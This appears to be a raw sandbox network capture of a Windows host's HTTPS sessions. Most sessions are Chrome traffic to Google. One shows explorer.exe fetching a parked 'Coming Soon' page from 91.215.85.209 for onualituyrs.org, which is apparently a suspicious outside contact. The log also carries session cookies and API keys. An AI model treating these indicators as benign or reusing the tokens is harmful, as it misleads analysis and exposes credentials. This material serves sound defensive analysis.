2023-10-13 14:06:52 UTC	4572	IN	HTTP/1.1 200 OK Content-Security-Policy: script-src 'report-sample' 'nonce-C11mirCrSRRjQn1hwkBwxg' 'unsafe-inline' 'strict-dynamic' https: http:;object-src 'none';base-uri 'self';report-uri https://csp.withgoogle.com/csp/clientupdate-aus/1 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Fri, 13 Oct 2023 14:06:51 GMT Content-Type: text/xml; charset=UTF-8 X-Daynum: 6129 X-Daystart: 25611 X-Content-Type-Options: nosniff X-Frame-Options: SAMEORIGIN X-XSS-Protection: 1; mode=block Server: GSE Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2023-10-13 14:06:52 UTC	4573	IN	Data Raw: 32 63 39 0d 0a 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 67 75 70 64 61 74 65 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 75 70 64 61 74 65 32 2f 72 65 73 70 6f 6e 73 65 22 20 70 72 6f 74 6f 63 6f 6c 3d 22 32 2e 30 22 20 73 65 72 76 65 72 3d 22 70 72 6f 64 22 3e 3c 64 61 79 73 74 61 72 74 20 65 6c 61 70 73 65 64 5f 64 61 79 73 3d 22 36 31 32 39 22 20 65 6c 61 70 73 65 64 5f 73 65 63 6f 6e 64 73 3d 22 32 35 36 31 31 22 2f 3e 3c 61 70 70 20 61 70 70 69 64 3d 22 6e 6d 6d 68 6b 6b 65 67 63 63 61 67 64 6c 64 67 69 69 6d 65 64 70 69 63 63 6d 67 6d 69 65 64 61 22 20 63 6f 68 6f 72 74 3d 22 31 3a 3a 22 20 63 6f 68 6f 72 74 6e 61 6d 65 3d 22 22 Data Ascii: 2c9<?xml version="1.0" encoding="UTF-8"?><gupdate xmlns="http://www.google.com/update2/response" protocol="2.0" server="prod"><daystart elapsed_days="6129" elapsed_seconds="25611"/><app appid="nmmhkkegccagdldgiimedpiccmgmieda" cohort="1::" cohortname=""
2023-10-13 14:06:52 UTC	4574	IN	Data Raw: 37 32 33 66 35 36 62 38 37 31 37 31 37 35 63 35 33 36 36 38 35 63 35 34 35 30 31 32 32 62 33 30 37 38 39 34 36 34 61 64 38 32 22 20 68 61 73 68 5f 73 68 61 32 35 36 3d 22 38 31 65 33 61 34 64 34 33 61 37 33 36 39 39 65 31 62 37 37 38 31 37 32 33 66 35 36 62 38 37 31 37 31 37 35 63 35 33 36 36 38 35 63 35 34 35 30 31 32 32 62 33 30 37 38 39 34 36 34 61 64 38 32 22 20 70 72 6f 74 65 63 74 65 64 3d 22 30 22 20 73 69 7a 65 3d 22 32 34 38 35 33 31 22 20 73 74 61 74 75 73 3d 22 6f 6b 22 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 2e 30 2e 36 22 2f 3e 3c 2f 61 70 70 3e 3c 2f 67 75 70 64 61 74 65 3e 0d 0a Data Ascii: 723f56b8717175c536685c5450122b30789464ad82" hash_sha256="81e3a4d43a73699e1b7781723f56b8717175c536685c5450122b30789464ad82" protected="0" size="248531" status="ok" version="1.0.0.6"/></app></gupdate>
2023-10-13 14:06:52 UTC	4574	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
47	192.168.2.4	49873	172.217.14.109	443	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	kBytes transferred	Direction	Data
2023-10-13 14:06:53 UTC	4574	OUT	POST /ListAccounts?gpsia=1&source=ChromiumBrowser&json=standard HTTP/1.1 Host: accounts.google.com Connection: keep-alive Content-Length: 1 Origin: https://www.google.com Content-Type: application/x-www-form-urlencoded Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2023-10-13 14:06:53 UTC	4574	OUT	Data Raw: 20 Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
48	192.168.2.4	49872	142.250.188.228	443	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	kBytes transferred	Direction	Data
2023-10-13 14:06:53 UTC	4574	OUT	GET /complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw HTTP/1.1 Host: www.google.com Connection: keep-alive X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiVocsBCJz+zAEIhaDNAQjcvc0BCLnKzQEIotHNAQiK080BCJ7WzQEIp9jNAQj5wNQVGPbJzQEYutLNARjrjaUX Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2023-10-13 14:06:53 UTC	4576	IN	HTTP/1.1 200 OK Date: Fri, 13 Oct 2023 14:06:53 GMT Pragma: no-cache Expires: -1 Cache-Control: no-cache, must-revalidate Content-Type: text/javascript; charset=UTF-8 Strict-Transport-Security: max-age=31536000 Content-Security-Policy: object-src 'none';base-uri 'self';script-src 'nonce-ujJEjc7kWZgQqj55gnWr1Q' 'strict-dynamic' 'report-sample' 'unsafe-eval' 'unsafe-inline' https: http:;report-uri https://csp.withgoogle.com/csp/gws/cdt1 Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/cdt1"}]} Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Origin-Trial: Ap+qNlnLzJDKSmEHjzM5ilaa908GuehlLqGb6ezME5lkhelj20qVzfv06zPmQ3LodoeujZuphAolrnhnPA8w4AIAAABfeyJvcmlnaW4iOiJodHRwczovL3d3dy5nb29nbGUuY29tOjQ0MyIsImZlYXR1cmUiOiJQZXJtaXNzaW9uc1BvbGljeVVubG9hZCIsImV4cGlyeSI6MTY4NTY2Mzk5OX0= Origin-Trial: AvudrjMZqL7335p1KLV2lHo1kxdMeIN0dUI15d0CPz9dovVLCcXk8OAqjho1DX4s6NbHbA/AGobuGvcZv0drGgQAAAB9eyJvcmlnaW4iOiJodHRwczovL3d3dy5nb29nbGUuY29tOjQ0MyIsImZlYXR1cmUiOiJCYWNrRm9yd2FyZENhY2hlTm90UmVzdG9yZWRSZWFzb25zIiwiZXhwaXJ5IjoxNjkxNTM5MTk5LCJpc1N1YmRvbWFpbiI6dHJ1ZX0= Content-Disposition: attachment; filename="f.txt" Server: gws X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2023-10-13 14:06:53 UTC	4578	IN	Data Raw: 63 64 34 0d 0a 29 5d 7d 27 0a 5b 22 22 2c 5b 22 6e 61 73 61 20 70 73 79 63 68 65 20 6d 69 73 73 69 6f 6e 20 6c 61 75 6e 63 68 22 2c 22 61 6e 63 68 6f 72 20 70 61 79 6d 65 6e 74 73 20 6e 6a 20 73 74 61 74 75 73 22 2c 22 73 61 67 20 61 66 74 72 61 20 61 63 74 6f 72 73 20 73 74 72 69 6b 65 22 2c 22 74 6d 6f 62 69 6c 65 20 70 6c 61 6e 73 20 72 65 64 64 69 74 22 2c 22 73 65 72 67 69 6f 20 70 c3 a9 72 65 7a 22 2c 22 6d 6f 6e 6f 70 6f 6c 79 20 67 6f 20 70 75 6d 70 6b 69 6e 20 70 72 6f 77 6c 20 65 76 65 6e 74 20 72 65 77 61 72 64 73 22 2c 22 6b 61 74 6d 61 69 20 6e 61 74 69 6f 6e 61 6c 20 70 61 72 6b 20 66 61 74 20 62 65 61 72 20 77 65 65 6b 20 62 65 61 72 73 22 2c 22 63 70 69 20 69 6e 66 6c 61 74 69 6f 6e 20 72 61 74 65 22 5d 2c 5b 22 22 2c 22 22 2c 22 22 2c 22 Data Ascii: cd4)]}'["",["nasa psyche mission launch","anchor payments nj status","sag aftra actors strike","tmobile plans reddit","sergio prez","monopoly go pumpkin prowl event rewards","katmai national park fat bear week bears","cpi inflation rate"],["","","","
2023-10-13 14:06:53 UTC	4579	IN	Data Raw: 55 70 73 52 57 68 6f 62 46 6c 76 5a 48 64 49 64 45 35 6e 4f 45 52 51 64 6c 70 4b 53 48 5a 56 4d 32 39 30 61 45 70 6b 59 56 70 47 5a 57 35 6b 4e 48 42 4b 4e 47 70 48 51 32 4e 49 4d 58 70 55 65 54 5a 71 55 47 4a 54 54 45 52 6c 56 33 42 4a 53 45 74 34 54 6b 31 31 4e 32 70 75 62 31 63 72 53 6a 6c 50 59 31 5a 75 64 58 5a 43 63 58 4e 6a 63 54 6c 58 54 6e 64 68 57 45 56 78 59 6e 4a 70 55 6e 42 58 4c 30 52 46 55 58 46 71 4c 30 46 44 53 55 39 6d 4f 57 4e 6b 61 57 46 52 4d 32 6c 68 54 6b 39 30 4d 47 78 71 4e 44 5a 53 4e 54 4e 42 56 46 6c 4b 57 48 70 35 51 33 42 43 4b 30 68 49 55 33 4a 46 64 6a 4a 58 57 46 51 76 64 48 42 70 59 55 6c 42 57 6d 52 58 55 45 6b 76 55 33 46 32 5a 57 6b 34 4d 55 70 74 61 58 52 4d 57 6b 5a 5a 4e 55 68 6f 62 48 68 32 4b 32 4e 57 62 58 4e 72 Data Ascii: UpsRWhobFlvZHdIdE5nOERQdlpKSHZVM290aEpkYVpGZW5kNHBKNGpHQ2NIMXpUeTZqUGJTTERlV3BJSEt4Tk11N2pub1crSjlPY1ZudXZCcXNjcTlXTndhWEVxYnJpUnBXL0RFUXFqL0FDSU9mOWNkaWFRM2lhTk90MGxqNDZSNTNBVFlKWHp5Q3BCK0hIU3JFdjJXWFQvdHBpYUlBWmRXUEkvU3F2ZWk4MUptaXRMWkZZNUhobHh2K2NWbXNr
2023-10-13 14:06:53 UTC	4581	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
49	192.168.2.4	49870	142.250.188.228	443	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	kBytes transferred	Direction	Data
2023-10-13 14:06:53 UTC	4575	OUT	GET /async/ddljson?async=ntp:2 HTTP/1.1 Host: www.google.com Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
5	91.215.85.209	443	192.168.2.4	49747	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
2023-10-13 14:05:28 UTC	27	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 13 Oct 2023 14:05:28 GMT Content-Type: text/html; charset=utf-8 Content-Length: 2563 Connection: close Vary: Accept-Encoding Last-Modified: Thu, 05 Oct 2023 21:42:15 GMT ETag: "a03-606feff55918f" Accept-Ranges: bytes Vary: Accept-Encoding
2023-10-13 14:05:28 UTC	27	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 09 3c 68 65 61 64 3e 0a 09 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 20 2f 3e 0a 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 20 2f 3e 0a 09 09 3c 74 69 74 6c 65 3e 43 6f 6d 69 6e 67 20 53 6f 6f 6e 3c 2f 74 69 74 6c 65 3e 0a 09 09 3c 73 74 79 6c 65 3e 0a 09 09 09 62 6f 64 79 20 7b 0a 09 09 09 09 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 35 66 35 66 35 3b 0a 09 09 09 09 6d 61 72 67 69 6e 2d 74 6f 70 3a 20 38 25 3b 0a 09 09 09 09 63 6f 6c 6f 72 3a 20 23 35 64 Data Ascii: <!DOCTYPE html><html lang="en"><head><meta charset="utf-8" /><meta name="viewport" content="width=device-width, initial-scale=1" /><title>Coming Soon</title><style>body {background-color: #f5f5f5;margin-top: 8%;color: #5d
2023-10-13 14:05:28 UTC	28	IN	Data Raw: 6c 6f 72 3a 20 23 66 66 63 63 33 33 3b 0a 09 09 09 09 66 69 6c 6c 3a 20 23 66 66 63 63 33 33 3b 0a 09 09 09 7d 0a 0a 09 09 09 2e 73 75 63 63 65 73 73 20 7b 0a 09 09 09 09 63 6f 6c 6f 72 3a 20 23 35 61 62 61 34 37 3b 0a 09 09 09 09 66 69 6c 6c 3a 20 23 35 61 62 61 34 37 3b 0a 09 09 09 7d 0a 0a 09 09 09 2e 69 63 6f 6e 2d 6c 61 72 67 65 20 7b 0a 09 09 09 09 68 65 69 67 68 74 3a 20 31 33 32 70 78 3b 0a 09 09 09 09 77 69 64 74 68 3a 20 31 33 32 70 78 3b 0a 09 09 09 7d 0a 0a 09 09 09 2e 64 65 73 63 72 69 70 74 69 6f 6e 2d 74 65 78 74 20 7b 0a 09 09 09 09 63 6f 6c 6f 72 3a 20 23 37 30 37 30 37 30 3b 0a 09 09 09 09 6c 65 74 74 65 72 2d 73 70 61 63 69 6e 67 3a 20 2d 30 2e 30 31 65 6d 3b 0a 09 09 09 09 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 2e 32 35 65 6d 3b 0a 09 09 Data Ascii: lor: #ffcc33;fill: #ffcc33;}.success {color: #5aba47;fill: #5aba47;}.icon-large {height: 132px;width: 132px;}.description-text {color: #707070;letter-spacing: -0.01em;font-size: 1.25em;
2023-10-13 14:05:28 UTC	30	IN	Data Raw: 66 6f 6f 74 65 72 22 3e 3c 73 74 72 6f 6e 67 3e 44 6f 6d 61 69 6e 3a 3c 2f 73 74 72 6f 6e 67 3e 20 6f 6e 75 61 6c 69 74 75 79 72 73 2e 6f 72 67 3c 2f 73 65 63 74 69 6f 6e 3e 0a 09 09 09 09 09 3c 2f 64 69 76 3e 0a 09 09 09 09 3c 2f 64 69 76 3e 0a 09 09 09 3c 2f 64 69 76 3e 0a 09 09 3c 2f 64 69 76 3e 0a 09 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a Data Ascii: footer"><strong>Domain:</strong> onualituyrs.org</section></div></div></div></div></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
50	192.168.2.4	49871	142.250.188.228	443	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	kBytes transferred	Direction	Data
2023-10-13 14:06:53 UTC	4575	OUT	GET /async/newtab_ogb?hl=en-US&async=fixed:0 HTTP/1.1 Host: www.google.com Connection: keep-alive X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiVocsBCJz+zAEIhaDNAQjcvc0BCLnKzQEIotHNAQiK080BCJ7WzQEIp9jNAQj5wNQVGPbJzQEYutLNARjrjaUX Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2023-10-13 14:06:53 UTC	4582	IN	HTTP/1.1 302 Found Location: https://www.google.com/sorry/index?continue=https://www.google.com/async/newtab_ogb%3Fhl%3Den-US%26async%3Dfixed:0&hl=en-US&q=EgRmgZFEGP2dpakGIjCDho6_uSUU1PpRFJbi-JCxZp4wpZrd0UV6D6GbORxGhxeXJDCPqJ43sZg2xqNDdukyAXJKGVNPUlJZX0FCVVNJVkVfTkVUX01FU1NBR0VaAUM x-hallmonitor-challenge: CgwI_Z2lqQYQ0piHqAISBGaBkUQ Content-Type: text/html; charset=UTF-8 Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/none"}]} Permissions-Policy: unload=() Origin-Trial: Ap+qNlnLzJDKSmEHjzM5ilaa908GuehlLqGb6ezME5lkhelj20qVzfv06zPmQ3LodoeujZuphAolrnhnPA8w4AIAAABfeyJvcmlnaW4iOiJodHRwczovL3d3dy5nb29nbGUuY29tOjQ0MyIsImZlYXR1cmUiOiJQZXJtaXNzaW9uc1BvbGljeVVubG9hZCIsImV4cGlyeSI6MTY4NTY2Mzk5OX0= Origin-Trial: AvudrjMZqL7335p1KLV2lHo1kxdMeIN0dUI15d0CPz9dovVLCcXk8OAqjho1DX4s6NbHbA/AGobuGvcZv0drGgQAAAB9eyJvcmlnaW4iOiJodHRwczovL3d3dy5nb29nbGUuY29tOjQ0MyIsImZlYXR1cmUiOiJCYWNrRm9yd2FyZENhY2hlTm90UmVzdG9yZWRSZWFzb25zIiwiZXhwaXJ5IjoxNjkxNTM5MTk5LCJpc1N1YmRvbWFpbiI6dHJ1ZX0= P3P: CP="This is not a P3P policy! See g.co/p3phelp for more info." Date: Fri, 13 Oct 2023 14:06:53 GMT Server: gws Content-Length: 458 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Set-Cookie: 1P_JAR=2023-10-13-14; expires=Sun, 12-Nov-2023 14:06:53 GMT; path=/; domain=.google.com; Secure; SameSite=none Set-Cookie: NID=511=qytlHnbQqL4sloRGlAZhTsHGfjucE9pdknsGlIvbaXSLXSQd55dhOxJdoyMK-vlTOQDc6HMDz8G0GgHp035K-DwDs6Wiinwnk6bT44JPRi-46dpt8miUyWQmSvK00loBXhapVrGBtmgvledi3f1OJjJmv72W7z2zfLo7oZ4hOa4; expires=Sat, 13-Apr-2024 14:06:53 GMT; path=/; domain=.google.com; Secure; HttpOnly; SameSite=none Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2023-10-13 14:06:53 UTC	4584	IN	Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 3c 54 49 54 4c 45 3e 33 30 32 20 4d 6f 76 65 64 3c 2f 54 49 54 4c 45 3e 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 33 30 32 20 4d 6f 76 65 64 3c 2f 48 31 3e 0a 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 0a 3c 41 20 48 52 45 46 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 73 6f 72 72 79 2f 69 6e 64 65 78 3f 63 6f 6e 74 69 6e 75 65 3d 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 61 73 79 6e 63 2f 6e 65 77 74 61 62 5f 6f 67 62 25 33 46 68 Data Ascii: <HTML><HEAD><meta http-equiv="content-type" content="text/html;charset=utf-8"><TITLE>302 Moved</TITLE></HEAD><BODY><H1>302 Moved</H1>The document has moved<A HREF="https://www.google.com/sorry/index?continue=https://www.google.com/async/newtab_ogb%3Fh

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
51	192.168.2.4	49869	142.250.188.228	443	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	kBytes transferred	Direction	Data
2023-10-13 14:06:53 UTC	4576	OUT	GET /async/newtab_promos HTTP/1.1 Host: www.google.com Connection: keep-alive Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2023-10-13 14:06:53 UTC	4585	IN	HTTP/1.1 302 Found Location: https://www.google.com/sorry/index?continue=https://www.google.com/async/newtab_promos&q=EgRmgZFEGP2dpakGIjDUht_iSdQdyXOw9C7LkmLwSguzkOO7PWmZRWUmqieCMTCnfotNaoU9yzHGGbqE1RAyAXJKGVNPUlJZX0FCVVNJVkVfTkVUX01FU1NBR0VaAUM x-hallmonitor-challenge: CgwI_Z2lqQYQkoW61gISBGaBkUQ Content-Type: text/html; charset=UTF-8 Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/none"}]} Permissions-Policy: unload=() Origin-Trial: Ap+qNlnLzJDKSmEHjzM5ilaa908GuehlLqGb6ezME5lkhelj20qVzfv06zPmQ3LodoeujZuphAolrnhnPA8w4AIAAABfeyJvcmlnaW4iOiJodHRwczovL3d3dy5nb29nbGUuY29tOjQ0MyIsImZlYXR1cmUiOiJQZXJtaXNzaW9uc1BvbGljeVVubG9hZCIsImV4cGlyeSI6MTY4NTY2Mzk5OX0= Origin-Trial: AvudrjMZqL7335p1KLV2lHo1kxdMeIN0dUI15d0CPz9dovVLCcXk8OAqjho1DX4s6NbHbA/AGobuGvcZv0drGgQAAAB9eyJvcmlnaW4iOiJodHRwczovL3d3dy5nb29nbGUuY29tOjQ0MyIsImZlYXR1cmUiOiJCYWNrRm9yd2FyZENhY2hlTm90UmVzdG9yZWRSZWFzb25zIiwiZXhwaXJ5IjoxNjkxNTM5MTk5LCJpc1N1YmRvbWFpbiI6dHJ1ZX0= P3P: CP="This is not a P3P policy! See g.co/p3phelp for more info." Date: Fri, 13 Oct 2023 14:06:53 GMT Server: gws Content-Length: 417 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Set-Cookie: 1P_JAR=2023-10-13-14; expires=Sun, 12-Nov-2023 14:06:53 GMT; path=/; domain=.google.com; Secure; SameSite=none Set-Cookie: NID=511=TTebJfpRfHL5fxKIfCsKOh0TwKwk9kmsB-0dEzzEIb6m5kf4bglUiTf0S-mnNU0h78s3D4vKFJmnxlVtCDa5nU3gGtVXPWAUkZgaIhiA3vdOfDJYPTEdvsu-Z1Ht9qQaBiPvlqr1lBmAK-kgCq2eU8216hWlUjoAcqUI55gQpU0; expires=Sat, 13-Apr-2024 14:06:53 GMT; path=/; domain=.google.com; Secure; HttpOnly; SameSite=none Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2023-10-13 14:06:53 UTC	4586	IN	Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 3c 54 49 54 4c 45 3e 33 30 32 20 4d 6f 76 65 64 3c 2f 54 49 54 4c 45 3e 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 33 30 32 20 4d 6f 76 65 64 3c 2f 48 31 3e 0a 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 0a 3c 41 20 48 52 45 46 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 73 6f 72 72 79 2f 69 6e 64 65 78 3f 63 6f 6e 74 69 6e 75 65 3d 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 61 73 79 6e 63 2f 6e 65 77 74 61 62 5f 70 72 6f 6d 6f 73 26 Data Ascii: <HTML><HEAD><meta http-equiv="content-type" content="text/html;charset=utf-8"><TITLE>302 Moved</TITLE></HEAD><BODY><H1>302 Moved</H1>The document has moved<A HREF="https://www.google.com/sorry/index?continue=https://www.google.com/async/newtab_promos&

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
52	172.217.14.109	443	192.168.2.4	49873	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	kBytes transferred	Direction	Data
2023-10-13 14:06:53 UTC	4581	IN	HTTP/1.1 200 OK Content-Type: application/json; charset=utf-8 Access-Control-Allow-Origin: https://www.google.com Access-Control-Allow-Credentials: true X-Content-Type-Options: nosniff Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Fri, 13 Oct 2023 14:06:53 GMT Strict-Transport-Security: max-age=31536000; includeSubDomains Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factor, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/IdentityListAccountsHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-kjHRw4tySiwkzNIsaQ5QuQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/IdentityListAccountsHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/IdentityListAccountsHttp/cspreport/allowlist Cross-Origin-Opener-Policy: same-origin Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factor=, ch-ua-platform=, ch-ua-platform-version=* Server: ESF X-XSS-Protection: 0 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2023-10-13 14:06:53 UTC	4582	IN	Data Raw: 31 31 0d 0a 5b 22 67 61 69 61 2e 6c 2e 61 2e 72 22 2c 5b 5d 5d 0d 0a Data Ascii: 11["gaia.l.a.r",[]]
2023-10-13 14:06:53 UTC	4582	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
53	192.168.2.4	49876	142.250.188.228	443	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	kBytes transferred	Direction	Data
2023-10-13 14:06:53 UTC	4587	OUT	GET /complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw HTTP/1.1 Host: www.google.com Connection: keep-alive X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiVocsBCJz+zAEIhaDNAQjcvc0BCLnKzQEIotHNAQiK080BCJ7WzQEIp9jNAQj5wNQVGPbJzQEYutLNARjrjaUX Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2023-10-13 14:06:54 UTC	4589	IN	HTTP/1.1 200 OK Date: Fri, 13 Oct 2023 14:06:54 GMT Pragma: no-cache Expires: -1 Cache-Control: no-cache, must-revalidate Content-Type: text/javascript; charset=UTF-8 Strict-Transport-Security: max-age=31536000 Content-Security-Policy: object-src 'none';base-uri 'self';script-src 'nonce-bOCxIVp5kgzdOD1PlNP1gw' 'strict-dynamic' 'report-sample' 'unsafe-eval' 'unsafe-inline' https: http:;report-uri https://csp.withgoogle.com/csp/gws/cdt1 Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/cdt1"}]} Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: 